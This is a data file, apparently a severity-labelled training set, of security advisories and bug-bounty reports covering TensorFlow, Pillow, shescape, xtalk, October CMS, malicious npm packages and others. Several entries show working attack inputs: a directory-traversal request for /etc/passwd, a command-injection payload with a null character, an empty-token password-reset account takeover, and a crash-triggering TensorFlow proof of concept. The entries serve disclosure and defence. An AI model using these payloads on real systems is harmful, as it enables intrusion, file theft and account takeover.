server is valid for the hostname used in the request URI; if the connection is made via a proxy we use the hostname from the request, not the proxy's hostname\n\nAfter implementing verification in v1.1.6, em-http-request has elected to leave the `:verify_peer` option switched off by default. We have decided to _enable_ this option by default in faye-websocket, but are publishing a minor release with added functionality for configuring it. We are mindful of the fact that this may break existing programs, but we consider it much more important that\nall clients have TLS verification turned on by default. A client that is not carrying out verification is either:\n\n- talking to the expected server, and will not break under this change\n- being attacked, and would benefit from being alerted to this fact\n- deliberately talking to a server that would be rejected by verification\n\nThe latter case includes situations like talking to a non-public server using a self-signed certificate. We consider this use case to be \"working by accident\", rather than functionality that was actively supported, and it should be properly and explicitly supported instead. To that end, we have added two new options to the `Faye::WebSocket::Client` constructor: `tls.root_cert_file`, and `tls.verify_peer`.\n\nThe `:root_cert_file` option lets you provide a different set of root certificates in situations where you don't want to use your system's default root certificates to verify the remote host. It should be a path or an array of paths identifying the certificates to use instead of the defaults.\n\n```rb\nclient = Faye::WebSocket::Client.new('wss://example.com/', [], tls: {\n  root_cert_file: 'path/to/certificate.pem'\n})\n```\n\nThe `:verify_peer` option lets you turn verification off entirely. This should be a last resort and we recommend using the `:root_cert_file` option if possible.\n\n```rb\nclient = Faye::WebSocket::Client.new('wss://example.com/', [], tls: {\n  verify_peer: false\n})\n```\n\nTo get the new behaviour, please upgrade to v0.11.0 of the [Rubygems package][10]. There are, unfortunately, no workarounds for this issue, as you cannot enable `:verify_peer` in EventMachine unless the calling library contains an implementation of `ssl_verify_peer` that actually checks the server's certificates.\n\nFor further background information on this issue, please see [faye#524][12] and [faye-websocket#129][13]. We would like to thank [Tero Marttila][14] and [Daniel Morsing][15] for providing invaluable assistance and feedback on this issue.\n\n[1]: https://www.rubydoc.info/github/eventmachine/eventmachine/EventMachine/Con", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-31", "split": "train"}
-{"id": "8decc83a00f041885bf5", "text": "Integer overflow in Pillow\n\n`libImaging/TiffDecode.c` in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.", "text_raw": "Integer overflow in Pillow\n\n[Severity: CRITICAL]\n\n`libImaging/TiffDecode.c` in Pillow before 6.2.2 has a TIFF decoding integer overflow, related to realloc.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "5307fb954906e7bb6592", "text": "Division by 0 in `QuantizedConv2D`\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`:\n\n```python\nimport tensorflow as tf\n\ninput = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)\nfilter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)\nmin_input = tf.constant(0.0)\nmax_input = tf.constant(0.0001)\nmin_filter = tf.constant(0.0)\nmax_filter = tf.constant(0.0001)\nstrides = [1, 1, 1, 1]\npadding = \"SAME\"\n\ntf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding)\n```\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/00e9a4d67d76703fa1aee33dac582acf317e0e81/tensorflow/core/kernels/quantized_conv_ops.cc#L257-L259) does a division by a quantity that is controlled by the caller:\n\n```cc\nconst int filter_value_count = filter_width * filter_height * input_depth;\nconst int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1));\n```\n\n### Patches\nWe have patched the issue in GitHub commit [cfa91be9863a91d5105a3b4941096044ab32036b](https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `QuantizedConv2D`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a division by 0 in `tf.raw_ops.QuantizedConv2D`:\n\n```python\nimport tensorflow as tf\n\ninput = tf.zeros([1, 1, 1, 1], dtype=tf.quint8)\nfilter = tf.constant([], shape=[1, 0, 1, 1], dtype=tf.quint8)\nmin_input = tf.constant(0.0)\nmax_input = tf.constant(0.0001)\nmin_filter = tf.constant(0.0)\nmax_filter = tf.constant(0.0001)\nstrides = [1, 1, 1, 1]\npadding = \"SAME\"               \n                               \n\ntf.raw_ops.QuantizedConv2D(input=input, filter=filter, min_input=min_input, max_input=max_input, min_filter=min_filter, max_filter=max_filter, strides=strides, padding=padding)\n```\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/00e9a4d67d76703fa1aee33dac582acf317e0e81/tensorflow/core/kernels/quantized_conv_ops.cc#L257-L259) does a division by a quantity that is controlled by the caller: \n\n```cc\nconst int filter_value_count = filter_width * filter_height * input_depth;\nconst int64 patches_per_chunk = kMaxChunkSize / (filter_value_count * sizeof(T1));\n```\n  \n### Patches\nWe have patched the issue in GitHub commit [cfa91be9863a91d5105a3b4941096044ab32036b](https://github.com/tensorflow/tensorflow/commit/cfa91be9863a91d5105a3b4941096044ab32036b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "9a41f7940f7f8f0f7e3a", "text": "Cross-Site Scripting in @toast-ui/editor\n\nVersions of `@toast-ui/editor` prior to 2.2.0 are vulnerable to Cross-Site Scripting (XSS).  There are multiple bypasses to the package's built-in XSS sanitization. This may allow attackers to execute arbitrary JavaScript on a victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.2.0 or later.", "text_raw": "Cross-Site Scripting in @toast-ui/editor\n\n[Severity: HIGH]\n\nVersions of `@toast-ui/editor` prior to 2.2.0 are vulnerable to Cross-Site Scripting (XSS).  There are multiple bypasses to the package's built-in XSS sanitization. This may allow attackers to execute arbitrary JavaScript on a victim's browser.\n\n## Recommendation\n\nUpgrade to version 2.2.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1891c1d18917b79b8001", "text": "Cross-Site Request Forgery in MAGMI\n\nAll versions of MAGMI up to and including version 0.7.24 are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.", "text_raw": "Cross-Site Request Forgery in MAGMI\n\n[Severity: MEDIUM]\n\nAll versions of MAGMI up to and including version 0.7.24 are vulnerable to CSRF due to the lack of CSRF tokens. RCE (via phpcli command) is possible in the event that a CSRF is leveraged against an existing admin session for MAGMI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "5444effaa9d3d2734f10", "text": "[Privilege Escalation] [Critical] Possibility to takeover any user account #2 without interaction on the https://██████████\n\n##Description\nHello. This time I discovered a way to tekeover any user's account via unsafe password reset.\nThis time it's much easier than #1 way in the #543678 report.\nWhen users requests the password reset, the next link is come to the email:\n```\nhttps://█████/resetpassword.aspx?ru=[user_id]&op=[token]\n```\nThe [user_id] is numeric, always same for same emaill, and incremental for every new user.\nThe [token] parameter is random and used to protect the link from hijacking.\nBut, I discovered that Reset password endpoint accepts empty token!\n\nSo all the attacker needs, it's to initiate password reset for the victim's email, and request the\n```\nhttps://██████████/resetpassword.aspx?ru=[user_id]&op=\n```\nSince `[user_id]` is numeric and static for same account, it can be easily guessed by the attacker.\n\n##POC\n1) Go to the https://█████/ForgotPassword.aspx\n2) Initiate reset password for the `██████` (it's my test account)\n3) Use this link:\n```\nhttps://███/resetpassword.aspx?ru=7655&op=\n```\nwhere 7655 - it's my user numeric ID (as we know, it's incremental, and be easily guessed for other accounts).\n██████████\n4) Set the new password and confirm it. You can set something as `111111111aA!!!!` to pass the password requirements.\n5) You will be logged into my organization as admin.\n\n##Suggested fix\nFix the `op` tooken validation - it should be checked properly.\n\n## Impact\n\nImmediate account Individual/Cprporate account takeover via password reset. Attacker needs to know only email.", "text_raw": "[Privilege Escalation] [Critical] Possibility to takeover any user account #2 without interaction on the https://██████████\n\n##Description\nHello. This time I discovered a way to tekeover any user's account via unsafe password reset.\nThis time it's much easier than #1 way in the #543678 report.\nWhen users requests the password reset, the next link is come to the email:\n```\nhttps://█████/resetpassword.aspx?ru=[user_id]&op=[token]\n```\nThe [user_id] is numeric, always same for same emaill, and incremental for every new user.\nThe [token] parameter is random and used to protect the link from hijacking.\nBut, I discovered that Reset password endpoint accepts empty token!\n\nSo all the attacker needs, it's to initiate password reset for the victim's email, and request the\n```\nhttps://██████████/resetpassword.aspx?ru=[user_id]&op=\n```\nSince `[user_id]` is numeric and static for same account, it can be easily guessed by the attacker.\n\n##POC\n1) Go to the https://█████/ForgotPassword.aspx\n2) Initiate reset password for the `██████` (it's my test account)\n3) Use this link:\n```\nhttps://███/resetpassword.aspx?ru=7655&op=\n```\nwhere 7655 - it's my user numeric ID (as we know, it's incremental, and be easily guessed for other accounts).\n██████████\n4) Set the new password and confirm it. You can set something as `111111111aA!!!!` to pass the password requirements.\n5) You will be logged into my organization as admin.\n\n##Suggested fix\nFix the `op` tooken validation - it should be checked properly.\n\n## Impact\n\nSeverity: Critical\nImmediate account Individual/Cprporate account takeover via password reset. Attacker needs to know only email.", "severity": "critical", "severity_label": 3, "source": "hackerone", "timestamp": "2019-10-04", "split": "train"}
-{"id": "456234e41c2437c046ec", "text": "Directory Traversal\n\nAffected versions of list-n-stream package (0.0.10 and before), are vulnerable to a directory traversal issue.", "text_raw": "Directory Traversal\n\n[Severity: HIGH]\n\nAffected versions of list-n-stream package (0.0.10 and before), are vulnerable to a directory traversal issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-23", "split": "train"}
-{"id": "94c7a21481fca1b03d5a", "text": "Null characters not escaped\n\n### Impact\n\nAnyone using _Shescape_ to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a [null character](https://en.wikipedia.org/wiki/Null_character) into the payload. For example (on Windows):\n\n```javascript\nconst cp = require(\"child_process\");\nconst shescape = require(\"shescape\");\n\nconst nullChar = String.fromCharCode(0);\nconst payload = \"foo\\\" && ls -al ${nullChar} && echo \\\"bar\";\nconsole.log(cp.execSync(`echo ${shescape.quote(payload)}`));\n// foototal 3\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:44 .\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 00:09 ..\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:42 folder                                                                 \n// -rw-r--r-- 1 owner XXXXXX      0 Mar 13 18:42 file\n```\n\n### Patches\n\nThe problem has been patched in [v1.1.3](https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3) which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nAlternatively, null characters can be stripped out manually using e.g. `arg.replace(/\\u{0}/gu, \"\")`", "text_raw": "Null characters not escaped\n\n[Severity: HIGH]\n\n### Impact\n\nAnyone using _Shescape_ to defend against shell injection may still be vulnerable against shell injection if the attacker manages to insert a [null character](https://en.wikipedia.org/wiki/Null_character) into the payload. For example (on Windows):\n\n```javascript\nconst cp = require(\"child_process\");\nconst shescape = require(\"shescape\");\n\nconst nullChar = String.fromCharCode(0);\nconst payload = \"foo\\\" && ls -al ${nullChar} && echo \\\"bar\";\nconsole.log(cp.execSync(`echo ${shescape.quote(payload)}`));\n// foototal 3\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:44 .\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 00:09 ..\n// drwxr-xr-x 1 owner XXXXXX      0 Mar 13 18:42 folder                                                                 \n// -rw-r--r-- 1 owner XXXXXX      0 Mar 13 18:42 file\n```\n\n### Patches\n\nThe problem has been patched in [v1.1.3](https://github.com/ericcornelissen/shescape/releases/tag/v1.1.3) which you can upgrade to now. No further changes are required.\n\n### Workarounds\n\nAlternatively, null characters can be stripped out manually using e.g. `arg.replace(/\\u{0}/gu, \"\")`", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "a3a045560ef811dffc02", "text": "Directory Traversal in xtalk\n\nAffected versions of `xtalk` are vulnerable to directory traversal, allowing access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:localhost\n```\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, and using a different, functionally equivalent package.", "text_raw": "Directory Traversal in xtalk\n\n[Severity: HIGH]\n\nAffected versions of `xtalk` are vulnerable to directory traversal, allowing access to the filesystem by placing \"../\" in the URL.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:localhost\n```\n\n\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, and using a different, functionally equivalent package.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "3de117a939dc9c21e8e2", "text": "Prototype pollution in safe-obj\n\nPrototype pollution vulnerability in 'safe-obj' versions 1.0.0 through 1.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in safe-obj\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'safe-obj' versions 1.0.0 through 1.0.2 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "13cf11fe3de6df9fcd30", "text": "Pillow Out-of-bounds Read\n\nIn Pillow before 8.1.0, PcxDecode has a buffer over-read when decoding a crafted PCX file because the user-supplied stride value is trusted for buffer calculations.", "text_raw": "Pillow Out-of-bounds Read\n\n[Severity: HIGH]\n\nIn Pillow before 8.1.0, PcxDecode has a buffer over-read when decoding a crafted PCX file because the user-supplied stride value is trusted for buffer calculations.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "4d40a0723e2e72ef658b", "text": "MTP Image Gallery 1.0 (title) Remote Script Insertion Vulnerability", "text_raw": "MTP Image Gallery 1.0 (title) Remote Script Insertion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-02-25", "split": "train"}
-{"id": "5c98112f076a721cd737", "text": "Improper Input Validation in libseccomp-golang\n\nlibseccomp-golang 0.9.0 and earlier incorrectly generates BPFs that OR multiple arguments rather than ANDing them. A process running under a restrictive seccomp filter that specified multiple syscall arguments could bypass intended access restrictions by specifying a single matching argument.", "text_raw": "Improper Input Validation in libseccomp-golang\n\n[Severity: HIGH]\n\nlibseccomp-golang 0.9.0 and earlier incorrectly generates BPFs that OR multiple arguments rather than ANDing them. A process running under a restrictive seccomp filter that specified multiple syscall arguments could bypass intended access restrictions by specifying a single matching argument.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "d72641ac94dfbfd707ed", "text": "Cayin Content Management Server 11.0 Root Remote Command Injection", "text_raw": "Cayin Content Management Server 11.0 Root Remote Command Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-06-04", "split": "train"}
-{"id": "3aafc21779d1c0e21a3f", "text": "Use after free and segfault in shape inference functions\n\n### Impact\nWhen running shape functions, some functions (such as `MutableHashTableShape`) produce extra output information in the form of a `ShapeAndType` struct. The shapes embedded in this struct are owned by an inference context that is cleaned up almost immediately; if the upstream code attempts to access this shape information, it can trigger a segfault.\n\n`ShapeRefiner` is mitigating this for normal output shapes by cloning them (and thus putting the newly created shape under ownership of an inference context that will not die), but we were not doing the same for shapes and types. This commit fixes that by doing similar logic on output shapes and types.\n\n### Patches\nWe have patched the issue in GitHub commit [ee119d4a498979525046fba1c3dd3f13a039fbb1](https://github.com/tensorflow/tensorflow/commit/ee119d4a498979525046fba1c3dd3f13a039fbb1).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Use after free and segfault in shape inference functions\n\n[Severity: MEDIUM]\n\n### Impact\nWhen running shape functions, some functions (such as `MutableHashTableShape`) produce extra output information in the form of a `ShapeAndType` struct. The shapes embedded in this struct are owned by an inference context that is cleaned up almost immediately; if the upstream code attempts to access this shape information, it can trigger a segfault.\n\n`ShapeRefiner` is mitigating this for normal output shapes by cloning them (and thus putting the newly created shape under ownership of an inference context that will not die), but we were not doing the same for shapes and types. This commit fixes that by doing similar logic on output shapes and types.\n\n### Patches\nWe have patched the issue in GitHub commit [ee119d4a498979525046fba1c3dd3f13a039fbb1](https://github.com/tensorflow/tensorflow/commit/ee119d4a498979525046fba1c3dd3f13a039fbb1).                                                                                                          \n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e2c7014e7462099cf0a5", "text": "LDAP Injection in ldapauth\n\nVersions 2.2.4 and earlier of `ldapauth-fork` are affected by an LDAP injection vulnerability. This allows an attacker to inject and run arbitrary LDAP commands via the username parameter.\n\n## Recommendation\n\nldapauth is not actively maintained, having not seen a publish since 2014. As a result, there is no patch available. Consider updating to use [ldapauth-fork](https://www.npmjs.com/package/ldapauth-fork) 2.3.3 or greater.", "text_raw": "LDAP Injection in ldapauth\n\n[Severity: HIGH]\n\nVersions 2.2.4 and earlier of `ldapauth-fork` are affected by an LDAP injection vulnerability. This allows an attacker to inject and run arbitrary LDAP commands via the username parameter.\n\n\n\n## Recommendation\n\nldapauth is not actively maintained, having not seen a publish since 2014. As a result, there is no patch available. Consider updating to use [ldapauth-fork](https://www.npmjs.com/package/ldapauth-fork) 2.3.3 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "349562215674d12196cc", "text": "October CMS auth bypass and account takeover\n\n### Impact\n\nAn attacker can exploit this vulnerability to bypass authentication using a specially crafted persist cookie.\n\n- To exploit this vulnerability, an attacker must obtain a Laravel’s secret key for cookie encryption and signing.\n- Due to the logic of how this mechanism works, a targeted user account must be logged in while\nthe attacker is exploiting the vulnerability.\n- Authorization via persist cookie not shown in access logs.\n\n### Patches\n\n- Issue has been patched in Build 472 and v1.1.5\n- [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648)\n\n### Workarounds\n\nApply https://github.com/octobercms/library/commit/016a297b1bec55d2e53bc889458ed2cb5c3e9374 and https://github.com/octobercms/library/commit/5bd1a28140b825baebe6becd4f7562299d3de3b9 to your installation manually if you are unable to upgrade.\n\n[**Update 2022-01-20**] [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648) can be found here.\n\n### Recommendations\n\nWe recommend the following steps to make sure your server stays secure:\n\n- Keep server OS and system software up to date.\n- Keep October CMS software up to date.\n- Use a multi-factor authentication plugin.\n- Change the [default backend URL](https://github.com/octobercms/october/blob/1.1/config/cms.php#L39) or block public access to the backend area.\n- Include the [Roave/SecurityAdvisories](https://github.com/Roave/SecurityAdvisories) Composer package to ensure that your application doesn't have installed dependencies with known security vulnerabilities.\n\n### References\n\nBugs found as part of Solar Security CMS Research. Credits to:\n• Andrey Basarygin\n• Andrey Guzei\n• Mikhail Khramenkov\n• Alexander Sidukov\n• Maxim Teplykh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)", "text_raw": "October CMS auth bypass and account takeover\n\n[Severity: HIGH]\n\n### Impact\n\nAn attacker can exploit this vulnerability to bypass authentication using a specially crafted persist cookie.\n\n- To exploit this vulnerability, an attacker must obtain a Laravel’s secret key for cookie encryption and signing.\n- Due to the logic of how this mechanism works, a targeted user account must be logged in while\nthe attacker is exploiting the vulnerability.\n- Authorization via persist cookie not shown in access logs.\n\n### Patches\n\n- Issue has been patched in Build 472 and v1.1.5\n- [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648)\n\n### Workarounds\n\nApply https://github.com/octobercms/library/commit/016a297b1bec55d2e53bc889458ed2cb5c3e9374 and https://github.com/octobercms/library/commit/5bd1a28140b825baebe6becd4f7562299d3de3b9 to your installation manually if you are unable to upgrade.\n\n[**Update 2022-01-20**] [Shortened patch instructions](https://github.com/daftspunk/CVE-2021-32648) can be found here.\n\n### Recommendations\n\nWe recommend the following steps to make sure your server stays secure:\n\n- Keep server OS and system software up to date.\n- Keep October CMS software up to date.\n- Use a multi-factor authentication plugin.\n- Change the [default backend URL](https://github.com/octobercms/october/blob/1.1/config/cms.php#L39) or block public access to the backend area.\n- Include the [Roave/SecurityAdvisories](https://github.com/Roave/SecurityAdvisories) Composer package to ensure that your application doesn't have installed dependencies with known security vulnerabilities.\n\n### References\n\nBugs found as part of Solar Security CMS Research. Credits to:\n• Andrey Basarygin\n• Andrey Guzei\n• Mikhail Khramenkov\n• Alexander Sidukov\n• Maxim Teplykh\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "75c7f2407130d73c0398", "text": "Malicious Package in whiteproject\n\nAll versions of `whiteproject` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "text_raw": "Malicious Package in whiteproject\n\n[Severity: CRITICAL]\n\nAll versions of `whiteproject` contain obfuscated malware that uploads Discord user tokens to a remote server. This allows attackers to make purchases on behalf of users if they have credit cards linked to their Discord accounts.\n\n\n## Recommendation\n\nRemove the package from your environment. Review your Discord account access and rotate tokens if possible. If a credit card was linked to a compromised account contact your credit card company.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "b4b1bc0ed11bc399aa4e", "text": "Comparison errorr in org.apache.tika:tika-core\n\nIn Apache Tika 1.2 to 1.18, a carefully crafted file can trigger an infinite loop in the IptcAnpaParser.", "text_raw": "Comparison errorr in org.apache.tika:tika-core\n\n[Severity: MEDIUM]\n\nIn Apache Tika 1.2 to 1.18, a carefully crafted file can trigger an infinite loop in the IptcAnpaParser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "be0fc29ea1b188234d53", "text": "Vulnerability in singleCrunch function leads to arbitrary code execution via filePath parameters\n\naaptjs is a node wraper for aapt. An issue was discovered in the singleCrunch function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "text_raw": "Vulnerability in singleCrunch function leads to arbitrary code execution via filePath parameters\n\n[Severity: CRITICAL]\n\naaptjs is a node wraper for aapt. An issue was discovered in the singleCrunch function in shenzhim aaptjs 1.3.1, allows attackers to execute arbitrary code via the filePath parameters.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-01", "split": "train"}
-{"id": "040bce3690d6dde435d0", "text": "Oracle WebLogic Server Deserialization of Untrusted Data Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains a deserialization of untrusted data vulnerability within Apache Commons, which can allow for for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle WebLogic Server Deserialization of Untrusted Data Vulnerability\n\nAffected: Oracle WebLogic Server\n\nOracle WebLogic Server contains a deserialization of untrusted data vulnerability within Apache Commons, which can allow for for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "db26c9b95ddf816e2ff7", "text": "Command Injection in macaddress\n\nAll versions of `macaddress` are vulnerable to command injection. For this vulnerability to be exploited an attacker needs to control the `iface` argument to the `one` method.\n\n## Recommendation\n\nUpdate to version 0.2.9 or later.", "text_raw": "Command Injection in macaddress\n\n[Severity: CRITICAL]\n\nAll versions of `macaddress` are vulnerable to command injection. For this vulnerability to be exploited an attacker needs to control the `iface` argument to the `one` method.\n\n\n## Recommendation\n\nUpdate to version 0.2.9 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "9ed4de71752c2ea1083e", "text": "Improper Neutralization of Wildcards or Matching Symbols\n\nThis affects Spring Data JPA in versions up to and including 2.1.6, 2.0.14 and 1.11.20. ExampleMatcher using ExampleMatcher.StringMatcher.STARTING, ExampleMatcher.StringMatcher.ENDING or ExampleMatcher.StringMatcher.CONTAINING could return more results than anticipated when a maliciously crafted example value is supplied.", "text_raw": "Improper Neutralization of Wildcards or Matching Symbols\n\n[Severity: MEDIUM]\n\nThis affects Spring Data JPA in versions up to and including 2.1.6, 2.0.14 and 1.11.20. ExampleMatcher using ExampleMatcher.StringMatcher.STARTING, ExampleMatcher.StringMatcher.ENDING or ExampleMatcher.StringMatcher.CONTAINING could return more results than anticipated when a maliciously crafted example value is supplied.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "3d0088800fc7d2df3afb", "text": "selenium-wrapper downloads Resources over HTTP\n\nAffected versions of `selenium-wrapper` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-wrapper`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "selenium-wrapper downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `selenium-wrapper` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-wrapper`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "f66e703ef84226daf4eb", "text": "Malicious Package in buvfer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buvfer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "95075057476ae579691d", "text": "Oracle Fusion Middleware Unspecified Vulnerability\n\nAffected: Oracle Fusion Middleware\n\nOracle Fusion Middleware Reports Developer contains an unspecified vulnerability that allows remote attackers to affect confidentiality and integrity of affected systems.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Oracle Fusion Middleware Unspecified Vulnerability\n\nAffected: Oracle Fusion Middleware\n\nOracle Fusion Middleware Reports Developer contains an unspecified vulnerability that allows remote attackers to affect confidentiality and integrity of affected systems.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4b1d9d764c8c5cfba7b8", "text": "TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-02-11", "split": "train"}
